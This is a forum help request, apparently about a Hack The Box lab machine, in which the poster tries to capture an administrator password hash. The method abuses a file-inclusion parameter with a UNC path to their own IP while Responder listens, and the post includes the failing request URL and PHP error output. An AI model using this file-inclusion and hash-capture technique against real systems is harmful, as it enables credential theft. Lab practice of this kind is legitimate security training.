Responder - a problem with getting hash

Hi all, I have the following problem:

Trying to get hash for administrator user password. I use the url:

http://unika.htb/index.php?page=//IP address of my tun0 interface/somefile

But I keep getting error:

Warning: include(\10.10.XX.XXX\SOMEFILE): Failed to open stream: No such file or directory in C:\xampp\htdocs\index.php on line 11

Warning: include(): Failed opening ‘//10.10.XX.XXX/somefile’ for inclusion (include_path=‘\xampp\php\PEAR’) in C:\xampp\htdocs\index.php on line 11

Log from responder:

[+] Listening for events…

And nothing happens. Also tried to find out solution on Google and YouTube but no luck.

Can anyone explain me please what’s wrong. Maybe someone also faced the same problem?

Thank you.